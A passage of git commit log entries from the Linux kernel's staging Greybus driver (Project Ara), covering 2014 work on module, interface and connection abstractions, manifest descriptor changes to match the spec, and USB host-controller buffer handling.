a function within a Greybus module. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/connection.c | 48 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/connection.h | 29 ++++++++++++++++++++++ drivers/staging/greybus/core.c | 10 ++++++++ drivers/staging/greybus/greybus.h | 2 ++ 5 files changed, 90 insertions(+) commit ef0d2ba20142b5db051e2673d1373e128c990743 Author: Alex Elder Date: Wed Oct 1 21:54:13 2014 -0500 greybus: define greybus function abstraction Define new source files "function.h" and "function.c" to contain the definitions of the Greybus function abstraction. A Greybus function represents an active entity connected to a CPort implemented by a Greybus interface. A Greybus function has a type, which defines the protocol to be used to interact with the function. A Greybus interface normally has at least two functions, but potentially many more. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/function.c | 58 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/function.h | 25 ++++++++++++++++ drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/interface.c | 1 + drivers/staging/greybus/interface.h | 1 + 6 files changed, 87 insertions(+) commit 8c12cde3c2b98ec2d298b2536bcb0cb1d7591b85 Author: Alex Elder Date: Wed Oct 1 21:54:12 2014 -0500 greybus: define greybus interface abstraction Define new source files "interface.h" and "interface.c" to contain the definitions of the Greybus interface abstraction. A Greybus interface represents a UniPro device present in a UniPro module. For Project Ara, each interface block on a module implements a UniPro interface. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/interface.c | 58 +++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.h | 24 +++++++++++++++ drivers/staging/greybus/module.c | 1 + drivers/staging/greybus/module.h | 1 + 6 files changed, 86 insertions(+) commit e1e9dbddfe71de1efba5bc77b3f2b374e2ba0104 Author: Alex Elder Date: Wed Oct 1 21:54:11 2014 -0500 greybus: isolate greybus module code Define new source files "module.h" and "module.c" to separate the definitions of the Greybus module abstraction from other code. Rename "greybus_module" to be "gb_module", for brevity. Do the same for a few other symbols with "greybus_module" in their names. A few (like greybus_module_id) are more visible outside this kernel module so we'll keep their names more descriptive. Add a definition for U8_MAX in "kernel_ver.h" (it appeared in 3.14). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/battery-gb.c | 6 +-- drivers/staging/greybus/core.c | 74 +++++++--------------------- drivers/staging/greybus/gbuf.c | 13 ++--- drivers/staging/greybus/gpio-gb.c | 6 +-- drivers/staging/greybus/greybus.h | 82 +++++++++++-------------------- drivers/staging/greybus/i2c-gb.c | 9 ++-- drivers/staging/greybus/module.c | 93 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/module.h | 57 ++++++++++++++++++++++ drivers/staging/greybus/sdio-gb.c | 6 +-- drivers/staging/greybus/sysfs.c | 19 ++++---- drivers/staging/greybus/test_sink.c | 4 +- drivers/staging/greybus/uart-gb.c | 8 ++-- 13 files changed, 233 insertions(+), 145 deletions(-) commit ecf7d579713155e7d2e2aa76227c68c4f64c5146 Author: Alex Elder Date: Wed Oct 1 21:54:10 2014 -0500 greybus: descriptor type updates Some more updates to the definition of a manifest descriptor. - We get rid of function descriptors. The type of function is easily specified with the CPort it uses. - Add a new interface descriptor type. - Clean up the CPort descriptor structure, eliminating fields that serve no purpose and adding the function id field The sysfs stuff will be updated a little later to add entries for the Greybus interfaces associated with modules. Rearrange the order of a few things in "greybus_manifest.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 17 +------- drivers/staging/greybus/greybus.h | 10 ++--- drivers/staging/greybus/greybus_manifest.h | 63 ++++++++++++++++++++---------- drivers/staging/greybus/sysfs.c | 39 ------------------ 4 files changed, 47 insertions(+), 82 deletions(-) commit 513c54cb0566dc8aa74b4e3c603a35ee9f8e07ae Author: Matt Porter Date: Wed Oct 1 15:09:01 2014 -0400 greybus: fix error message on parse of cport descriptor size Fix a simple cut and paste error that was reporting a serial number header size error rather than a cport descriptor size error. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7a57479b1d6727a3635833d75396650a1914fa7e Author: Matt Porter Date: Wed Oct 1 15:09:00 2014 -0400 greybus: remove additional unused fields from the cport descriptor The Greybus spec was updated to remove some unused fields from the CPort descriptor definition. Remove them from the structure so we don't fail manifest parsing. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 3 --- 1 file changed, 3 deletions(-) commit 9c852d2b8feee2d559032363980b6372182cbe34 Author: Alex Elder Date: Tue Sep 30 19:25:22 2014 -0500 greybus: clarify device vs module The Project ARA MDK states that a single module can have more than one interface block (up to 2 at the moment). An interface block consists of two bidirectional UniPro lanes (along with power and detect lines), and effectively represents a UniPro Device (with an id in the range 0-127). The service messages currently use "module_id" everywhere, even though in a lot of cases we really need to be talking about device ids. The easiest case of this to see is the "set route" request directed at a switch; a switch has no notion of modules, just UniPro devices. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc_msg.h | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) commit a6cdb3492e845dd1c784d35e0cfec0c6ac66aaef Author: Greg Kroah-Hartman Date: Tue Sep 30 18:21:36 2014 -0700 greybus: es1: no BUG_ON() code, report an error and recover. drivers/staging/greybus/es1-ap-usb.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 1cfc667d75d3a38989365da387f52a1c303c435d Author: Alex Elder Date: Tue Sep 30 19:25:21 2014 -0500 greybus: kill struct gmod_cport A UniPro (short header) segment has a 5-bit field to represent a CPort Id. In addition, the 7-bit L3 short header holds a UniPro device id. There can be no more than 128 devices in a UniPro network, but these two fields can be combined in ways to allow for over 2000 CPorts within a single device. As a result, a device id is represented with one byte, and a CPort Id within a device is always representable with a two byte value. This patch changes integral values that reresent CPort Ids so they use type u16 consistently. Separately, the contents of the gmod_cport structure were mostly fabricated, with the cport_id field being the only one that's meaningful. This patch gets rid of that structure, putting a simple u16 to represent the CPort Id everywhere it had been used before. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 14 +------------- drivers/staging/greybus/es1-ap-usb.c | 5 ++++- drivers/staging/greybus/gbuf.c | 22 +++++++++++----------- drivers/staging/greybus/greybus.h | 21 +++++++-------------- drivers/staging/greybus/kernel_ver.h | 3 +++ drivers/staging/greybus/svc_msg.h | 4 ++-- drivers/staging/greybus/test_sink.c | 4 ++-- drivers/staging/greybus/uart-gb.c | 2 +- 8 files changed, 31 insertions(+), 44 deletions(-) commit f0f70916fba72ca70235ca40db43030ec8f467ad Author: Matt Porter Date: Tue Sep 30 16:01:40 2014 -0400 greybus: es1-ap-usb: adjust SVC buffer size to handle worst case The worst case message from the SVC->AP is a hotplug "plugged" event. It includes the module manifest which may be up to 64KB in size. Adjust our buffer allocation to allow for this. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 51c75fd060a71dfdf4f836759a2b9300ae8af138 Author: Alex Elder Date: Fri Sep 26 20:55:35 2014 -0500 greybus: reorder greybus_svc_in() arguments The two functions greybus_svc_in() and greybus_cport_in() do very similar things, but their arguments are in a different order. Move the greybus_host_device structure argument for greybus_svc_in() to be first so the functions' prototypes are better aligned. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 2 +- drivers/staging/greybus/es1-ap-usb.c | 2 +- drivers/staging/greybus/greybus.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit 01e8280150a2ef330f082a996479b96d75164353 Author: Alex Elder Date: Fri Sep 26 20:55:34 2014 -0500 greybus: fix version check When we read a module manifest we are required to verify that its version is compatible with the version the present code is able to parse. All that's required is a check of the major version number. If the manifest's major version is greater than the software, the software can't assume it can parse it. All new code must be able to parse all old versions of the format. And any difference in minor version is supposed to have no effect on parsability. Update the version check to enforce this policy, and reword the error message to do a better job of explaining the situation. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) commit 72b0ffc019137b4877145ef7143cd69a6194b9c6 Author: Alex Elder Date: Fri Sep 26 20:55:33 2014 -0500 greybus: descriptor type is 1 byte The spec was changed to require only one byte to represent the type of a module descriptor. Update our data type and the values used to reflect that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 1dd7f58f8e24e03a3a5eea85a547a1ba91d82e81 Author: Alex Elder Date: Fri Sep 26 20:55:32 2014 -0500 greybus: fix the guard in "greybus_manifest.h" The tag in the #ifndef guard surrounding the content of "greybus_manifest.h" needs to be updated to reflect the actual name of the file. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit cb705e0dd0bc0614660aaf9adb0984c538532acf Author: Alex Elder Date: Wed Sep 24 05:16:17 2014 -0500 greybus: fix document version number Two spots use the old "0.draft" version number for the Greybus protocol specification. We've updated that to be 0.1. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 2 +- drivers/staging/greybus/svc_msg.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 908a85d7dd09f5acc28de147a2e3dc84aa2d0b6b Author: Alex Elder Date: Wed Sep 24 05:16:16 2014 -0500 greybus: update a few header file comments Add a GPLv2 tag and reword some comments at the top of "greybus_desc.h" and "svc_msg.h". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 8 +++++--- drivers/staging/greybus/svc_msg.h | 6 ++++-- 2 files changed, 9 insertions(+), 5 deletions(-) commit 0db32a6d5e58d85cfa4ffe5cebbde60917f61bba Author: Alex Elder Date: Wed Sep 24 05:16:14 2014 -0500 greybus: some more renames This patch renames of symbols, for better clarity and consistency. cport -> cport_id (when it represents a cport *number*) send_svc_msg -> submit_svc (like submit_gbuf) greybus_cport_in_data -> greybus_cport_in gb_new_ap_msg -> greybus_svc_in (like greybus_cport_in) cport->number -> cport->id (like cport_id) Making the svc and cport message stuff more similar is done with an eye toward having SVC messages and messages exchanged with other modules use some more common communication mechanisms. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 +++--- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/es1-ap-usb.c | 10 +++++----- drivers/staging/greybus/gbuf.c | 24 ++++++++++++------------ drivers/staging/greybus/greybus.h | 16 ++++++++-------- drivers/staging/greybus/greybus_manifest.h | 2 +- drivers/staging/greybus/test_sink.c | 4 ++-- drivers/staging/greybus/uart-gb.c | 2 +- 8 files changed, 33 insertions(+), 33 deletions(-) commit 877b1ee82e4eb5d0fa56ff5eef310c75556c8762 Author: Alex Elder Date: Wed Sep 24 05:16:13 2014 -0500 greybus: encapsulate URB status checking Define a new common function check_urb_status() that looks at the status in a completed URB (containing incoming data) and issues warnings in a consistent way. It returns -EAGAIN to signal an unrecognized status was seen, so the caller can ignore it and re-post the URB to receive the next incoming data. This consolidates three blocks of code into one. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 79 ++++++++++++++---------------------- 1 file changed, 30 insertions(+), 49 deletions(-) commit c41a36677365e6c5ad9e01ef50776052dfb6c0c5 Author: Matt Porter Date: Fri Sep 26 20:49:52 2014 -0500 greybus: update descriptor type enums to match renumbering in spec Greybus spec updated the descriptor type values and added an additional class descriptor type. Change the enum accordingly. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit cbd0fd7b9b6fd5c6d9f13f021a17a072e9d33147 Author: Matt Porter Date: Fri Sep 26 20:49:51 2014 -0500 greybus: update string descriptor length field to __u8 type to match spec Greybus spec was updated to make the length field a single byte. Update the type and remove endian handling of that field in the core. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus_manifest.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 097724c2fb203d1bfa0853ddf73c3a5df030ab05 Author: Matt Porter Date: Fri Sep 26 20:49:50 2014 -0500 greybus: remove unused function descriptor fields and change class->function_type Greybus spec was updated to remove a number of unused function descriptor fields. In addition, the class field was change to function_type to avoid confusion with the concept of high-level class drivers. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 8 ++------ drivers/staging/greybus/sysfs.c | 17 ++++------------- 2 files changed, 6 insertions(+), 19 deletions(-) commit 4fc645494f7a363f0aa8a997b38ac73a63306e61 Author: Matt Porter Date: Fri Sep 26 20:49:49 2014 -0500 greybus: remove serial number descriptor to match spec Greybus spec was updated to remove the serial number descriptor and move the serial number field to the, now mandatory, module descriptor. Change everything accordingly. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 23 +--------------- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/greybus_manifest.h | 7 +---- drivers/staging/greybus/sysfs.c | 42 ++++++++++-------------------- 4 files changed, 16 insertions(+), 57 deletions(-) commit 6d63ff7a2d40b8865eb00857cdb910944c17f0b2 Author: Matt Porter Date: Fri Sep 26 20:49:48 2014 -0500 greybus: update descriptor module_id->module to match spec Greybus spec was updated to change the name of the Module ID descriptor to simply Module descriptor. Change everything accordingly. Signed-off-by: Matt Porter Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 20 ++++++++++---------- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/greybus_manifest.h | 6 +++--- drivers/staging/greybus/sysfs.c | 16 ++++++++-------- 4 files changed, 22 insertions(+), 22 deletions(-) commit dce745af21884c9e27665a333d3b4fc9fcf643e7 Author: Greg Kroah-Hartman Date: Tue Sep 23 20:58:58 2014 -0700 greybus: fix up coding style issue I caused with the last patch... drivers/staging/greybus/gbuf.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2e353685bf0e523505695f8339316b0536474ea4 Author: Alex Elder Date: Tue Sep 23 12:46:36 2014 -0500 greybus: embed workqueue structure in struct gbuf A Greybus buffer containing outbound data is submitted to to the underlying driver to be sent over a CPort. Sending that data could be deferred, so the submit operation completes asynchronously. When the send is done, a callback occurs, and the buffer is "completed", and the buffer's completion routine is called. The buffer is then freed. If data arrives on the CPort, greybus_cport_in_data() is called to allocate a Greybus buffer and copy the received data into it. Once that's done the buffer is completed, again allowing the buffer's completion routine to finish any final tasks before freeing the buffer. We use a workqueue to schedule calling the buffer's completion function. This patch does two things related to the work queue: - Renames the work queue "gbuf_workqueue" so its name more directly describes its purpose - Moves the work_struct needed for scheduling completions into the struct greybuf. Previously a separate type was used, and dynamically allocated *at interrupt time* to hold this work_struct. We can now do away with that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gbuf.c | 51 +++++++++++---------------------------- drivers/staging/greybus/greybus.h | 1 + 2 files changed, 15 insertions(+), 37 deletions(-) commit 217b870e99ce68b868db08f4257c6f463abddd0c Author: Alex Elder Date: Tue Sep 23 12:46:33 2014 -0500 greybus: get rid of a weird idiom It strikes me as strange to add one to a value while checking to see if it exceeds a maximum. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 380f6bddc900b9baba8163e5c5f60eabe712f7d0 Author: Alex Elder Date: Tue Sep 23 12:46:32 2014 -0500 greybus: quick fix for sysfs serial number Let the serial number attribute have its own is_visible function. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sysfs.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 778c69c9e2fbb7462e5ebffe42845c9cdf75b1e2 Author: Alex Elder Date: Mon Sep 22 19:19:03 2014 -0500 greybus: rename struct greybus_device The greybus_device structure represents an Ara phone module. It does *not* (necessarily) represent a UniPro device, nor any device (like an i2c adapter) that might reside on an Ara module. As such, rename struct greybus_device to be struct greybus_module. Rename all symbols having that type to be "gmod" rather than "gdev". Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 12 +-- drivers/staging/greybus/core.c | 196 +++++++++++++++++------------------ drivers/staging/greybus/es1-ap-usb.c | 2 +- drivers/staging/greybus/gbuf.c | 30 +++--- drivers/staging/greybus/gpio-gb.c | 14 +-- drivers/staging/greybus/greybus.h | 64 ++++++------ drivers/staging/greybus/greybus_id.h | 2 +- drivers/staging/greybus/i2c-gb.c | 22 ++-- drivers/staging/greybus/sdio-gb.c | 10 +- drivers/staging/greybus/sysfs.c | 44 ++++---- drivers/staging/greybus/test_sink.c | 4 +- drivers/staging/greybus/uart-gb.c | 20 ++-- 12 files changed, 210 insertions(+), 210 deletions(-) commit 69f93abf1181082c7a3dfa24b2ba4a2933ce2c1c Author: Alex Elder Date: Mon Sep 22 18:53:02 2014 -0500 greybus: simple fixes A few silly little fixes. - Clear out some unnecessary #includes in "debugfs.c" - Drop some unneeded parentheses in hd_to_es1() - Use &hd->hd_priv in hd_to_es1() to emphasize we are working with an embedded array, not a pointer - Fix a comment in the header for ap_probe() - Drop a duplicate #include in "gpio-gb.c" - Fix a use-before-set problem in set_serial_info() Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/debugfs.c | 5 ----- drivers/staging/greybus/es1-ap-usb.c | 4 ++-- drivers/staging/greybus/gpio-gb.c | 1 - drivers/staging/greybus/uart-gb.c | 2 +- 4 files changed, 3 insertions(+), 9 deletions(-) commit be5064c75bb9e513698142584f4bb64de73e9f18 Author: Matt Porter Date: Mon Sep 22 15:51:49 2014 -0400 greybus: initialize all fields in an SVC handshake message Currently only the handshake_type is being initialized when responding to an SVC handshake request. Update this to explicitly set all header/payload fields appropriately. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 648cb6cb75a1ef09200a24b280a2932caef88597 Author: Matt Porter Date: Mon Sep 22 15:51:48 2014 -0400 greybus: es1-ap-usb: fix svc control pipe flags The control message flags currently indicate USB_DIR_IN, which doesn't allow the data phase carrying the SVC message to be send to the device. Change this to USB_DIR_OUT so our SVC message buffer reaches the device. Also, the recipient is USB_RECIP_OTHER but almost all real devices that handle vendor setup requests seem to set this as USB_RECIP_INTERFACE. As a result, functionfs-based gadgets don't handle vendor setup requests with a recipient of OTHER. Change this to USB_RECIP_INTERFACE to work with the functionfs-based emulator and this should be no issue for the firmware to implement to match. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1-ap-usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4a833fdb7fc73039b06c1d879d896ebab0df7bd9 Author: Greg Kroah-Hartman Date: Sun Sep 21 19:17:55 2014 -0700 greybus: core: hook up the hotplug message We should now try to parse the manifest and create a device based on the manifest. Not hooked up to the driver core yet, so removing it isn't going to do anything except cause problems... drivers/staging/greybus/core.c | 38 ++++++++++++++++---------------------- drivers/staging/greybus/greybus.h | 3 --- 2 files changed, 16 insertions(+), 25 deletions(-) commit d0cfd109c7eb5df548dd98bfa7f2dba370c68e1c Author: Greg Kroah-Hartman Date: Sun Sep 21 19:10:39 2014 -0700 greybus: ap: validate the rest of the svc message buffer sizes drivers/staging/greybus/ap.c | 63 +++++++++++++++++++++++++++++++-------- drivers/staging/greybus/core.c | 3 +- drivers/staging/greybus/greybus.h | 3 +- 3 files changed, 54 insertions(+), 15 deletions(-) commit 00c52e4d3e37f3cd56c2159c7827f6d08e198262 Author: Greg Kroah-Hartman Date: Sun Sep 21 18:19:54 2014 -0700 greybus: ap: start validating the message better We check the type of the message now. Start to check the size of the payload to match the size of the message type. Still more work to do needed here. Also "hooked up" the hotplug message, but doesn't call anything as the core doesn't implement that yet... drivers/staging/greybus/ap.c | 59 +++++++++++++++++++++++++++++++++----------- 1 file changed, 44 insertions(+), 15 deletions(-) commit 6779997d78bf4c98857c397ed3d1dfede8949835 Author: Greg Kroah-Hartman Date: Sun Sep 21 18:17:36 2014 -0700 greybus: core.c: create empty functions to keep linking working for hotplug/remove drivers/staging/greybus/core.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 85e0066c597c5fd9bc278eac79065251aa507c65 Author: Greg Kroah-Hartman Date: Sun Sep 21 18:17:12 2014 -0700 greybus: greybus.h: add function prototype for add/remove a module drivers/staging/greybus/greybus.h | 3 +++ 1 file changed, 3 insertions(+) commit 798ea88abec88852e6dae2afb265560f9ec56432 Author: Greg Kroah-Hartman Date: Sun Sep 21 18:16:41 2014 -0700 greybus: svc_msg.h: add data for hotplug message drivers/staging/greybus/svc_msg.h | 1 + 1 file changed, 1 insertion(+) commit 3e7736e5c17801e15c0355d905988c03bbc0ba22 Author: Greg Kroah-Hartman Date: Sun Sep 21 17:34:28 2014 -0700 greybus: gbuf: clean up logic of who owns what "part" of the gbuf Started documenting the gbuf and how a greybus driver and a host controller driver needs to interact with it, and the rest of the greybus system. It's crude documentation, but better than nothing for now... drivers/staging/greybus/es1-ap-usb.c | 22 ++++--- drivers/staging/greybus/gbuf.c | 112 +++++++++++++++++++---------------- drivers/staging/greybus/greybus.h | 73 +++++++++++++++++++++-- 3 files changed, 140 insertions(+), 67 deletions(-) commit f036e05600bd3901ee5d24d52cbfde93b71a5751 Author: Greg Kroah-Hartman Date: Fri Sep 19 19:13:33 2014 -0700 greybus: gbuf: implement submission logic drivers/staging/greybus/es1-ap-usb.c | 16 ++++++++-------- drivers/staging/greybus/gbuf.c | 27 +++++++++++++++++---------- drivers/staging/greybus/greybus.h | 7 ++++--- 3 files changed, 29 insertions(+), 21 deletions(-) commit 29f000f434afbdf136714aabaaab8f8f27025a36 Author: Greg Kroah-Hartman Date: Fri Sep 19 18:37:44 2014 -0700 greybus: es1: set buffer sizes for messages based on email discussions The gbuf sizes are 4k (i.e. PAGE_SIZE) and svc interrupt urb is 2k drivers/staging/greybus/es1-ap-usb.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) commit 52adb56340b6f83d62d65e96b0f925ec8797b802 Author: Matt Porter Date: Thu Sep 18 15:25:43 2014 -0400 greybus: update GREYBUS_VERSION_[MAJOR|MINOR] to match spec The Greybus spec was updated to have major=0 and minor=1 so update this in the code. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e94e17143ea61f08488e55a8b8dfa025ab5fee44 Author: Matt Porter Date: Thu Sep 18 15:25:42 2014 -0400 greybus: move versioning from svc message header to handshake function The Greybus spec has been updated to improve the efficiency of the version major/minor information that had been previously carried in every SVC message header. The version major/minor is now provided as part of the handshake function. Update the SVC msg header and handshake function payload definitions and move the version major/minor validation into the SVC handshake handling routine. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 15 +++++++++------ drivers/staging/greybus/svc_msg.h | 4 ++-- 2 files changed, 11 insertions(+), 8 deletions(-) commit 710ecb0605350391e14a2d470397afb798b1fbf7 Author: Matt Porter Date: Thu Sep 18 15:25:41 2014 -0400 greybus: update svc_msg_header fields and users to match spec The Greybus spec has been updated to clarify some of the original intent of the SVC message definition. The svc_msg_header was: struct svc_msg_header { __u8 function; __u8 message_type; ... } and is now struct svc_msg_header { __u8 function_id; __u8 message_type; ... } to match the spec. The function_id carries enum svc_function_id values and message_type is now clarified to be a session layer level field that is simply "data" or "error". Change all references of function type to function id. For now, don't parse the message_type field but add the two allowable svc_msg_type enums. Signed-off-by: Matt Porter Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 12 ++++++------ drivers/staging/greybus/svc_msg.h | 11 ++++++++--- 2 files changed, 14 insertions(+), 9 deletions(-) commit 772149b6df4648333c033d6b68e7a0b860dc22da Author: Greg Kroah-Hartman Date: Sun Sep 14 12:27:28 2014 -0700 greybus: fix hd init sequence of setting up parent and driver pointers properly drivers/staging/greybus/ap.c | 23 ++++++++++++----------- drivers/staging/greybus/core.c | 2 ++ drivers/staging/greybus/gbuf.c | 2 +- drivers/staging/greybus/greybus.h | 4 +--- 4 files changed, 16 insertions(+), 15 deletions(-) commit 13c8d9cd8a5381a68eb39bfebf2004835ffc0251 Author: Greg Kroah-Hartman Date: Sun Sep 14 12:27:19 2014 -0700 greybus: add test_sink driver drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/test_sink.c | 38 +++++++++++++++++++++++++++++++++++++ 2 files changed, 39 insertions(+) commit 45f3678bcff37889b8fe81a7b1ea21b09a25803d Author: Greg Kroah-Hartman Date: Sun Sep 14 11:40:35 2014 -0700 greybus: gbuf: cport in buffer stream logic drivers/staging/greybus/ap.c | 6 ++-- drivers/staging/greybus/core.c | 21 +++++++++---- drivers/staging/greybus/gbuf.c | 62 +++++++++++++++++++++++++++++++++++---- drivers/staging/greybus/greybus.h | 6 ++-- 4 files changed, 79 insertions(+), 16 deletions(-) commit 80e04f09942e3641a5745e22b270e91f65c9107c Author: Greg Kroah-Hartman Date: Sat Sep 13 18:20:54 2014 -0700 greybus: gbuf recieve path work, not done, dinner time... drivers/staging/greybus/ap.c | 7 --- drivers/staging/greybus/gbuf.c | 105 ++++++++++++++++++++++++++++++++++---- drivers/staging/greybus/greybus.h | 7 ++- 3 files changed, 100 insertions(+), 19 deletions(-) commit ee6fb799021290e226e0559eb8048b86747cb045 Author: Greg Kroah-Hartman Date: Sat Sep 13 17:31:27 2014 -0700 greybus: devices: endpoint description of device drivers/staging/greybus/devices | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 7f9e05e15b4e0a252a26122ac3762a9caa80a65d Author: Greg Kroah-Hartman Date: Sat Sep 13 17:28:33 2014 -0700 greybus: es1: functionally complete Have only tested USB device add/remove, the urbs seem to all be queued up, no data has been tested to flow through yet. Odds are the hc interface will have to change, but this is a good first start to build on. drivers/staging/greybus/es1-ap-usb.c | 57 ++++++++++++++++++++++++------------ 1 file changed, 38 insertions(+), 19 deletions(-) commit a1dc62b0c8efe79f27d048d03daac4764cb7c46c Author: Greg Kroah-Hartman Date: Sat Sep 13 17:28:19 2014 -0700 greybus: core: verify major/minor number of greybus protocol drivers/staging/greybus/core.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 543b8ed2fee047ae8f598a0c8b763aff59139044 Author: Greg Kroah-Hartman Date: Sat Sep 13 17:02:47 2014 -0700 greybus: uart-gb: let the core dynamically allocate the major number Don't register the tty_gb_driver, the gb core is not ready for the for ES1 devices. drivers/staging/greybus/uart-gb.c | 27 +++++++++------------------ 1 file changed, 9 insertions(+), 18 deletions(-) commit 168db1cd2977f29c1181482aec69c22c20da7d72 Author: Greg Kroah-Hartman Date: Sat Sep 13 16:15:52 2014 -0700 greybus: tty driver fixes to get init working properly drivers/staging/greybus/core.c | 16 ++++++++++++---- drivers/staging/greybus/uart-gb.c | 30 ++++++++++++++++++++++-------- 2 files changed, 34 insertions(+), 12 deletions(-) commit 082570b0eebdd108c6b50b6c1299cf6d02a6ad82 Author: Greg Kroah-Hartman Date: Sat Sep 13 16:15:07 2014 -0700 greybus: es1 endpoint descriptor: minor fixes to get the config right drivers/staging/greybus/es1_ap_desc.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit ac7171ea266d6978bc9eeb4db5e60847237cd1a5 Author: Greg Kroah-Hartman Date: Sat Sep 13 12:39:23 2014 -0700 greybus: Makefile: add 'check' option to run sparse with endian checks enabled drivers/staging/greybus/Makefile | 3 +++ 1 file changed, 3 insertions(+) commit b57b06241b0177a36a1c951b25fdead3bc1d87ba Author: Greg Kroah-Hartman Date: Sat Sep 13 12:18:09 2014 -0700 greybus: ap: cleanup of process ap message loop drivers/staging/greybus/ap.c | 22 +++++----------------- 1 file changed, 5 insertions(+), 17 deletions(-) commit 88929c593d38c0855baddc5192acb08f244b59e2 Author: Greg Kroah-Hartman Date: Sat Sep 13 11:35:02 2014 -0700 greybus: ap: convert to workqueue from thread drivers/staging/greybus/ap.c | 65 ++++++++++---------------------------------- 1 file changed, 14 insertions(+), 51 deletions(-) commit 9c8d3afdb58cf96a0e784e2e0a62923fe8855e4d Author: Greg Kroah-Hartman Date: Sat Sep 13 11:09:35 2014 -0700 greybus: es1: handle cport data in and out drivers/staging/greybus/ap.c | 6 ++++ drivers/staging/greybus/es1-ap-usb.c | 58 ++++++++++++++++++++++++++++++++---- drivers/staging/greybus/gbuf.c | 9 ++++++ drivers/staging/greybus/greybus.h | 3 ++ 4 files changed, 71 insertions(+), 5 deletions(-) commit 0dad95dc372057e628f8aced70fa0b8493896b1a Author: Greg Kroah-Hartman 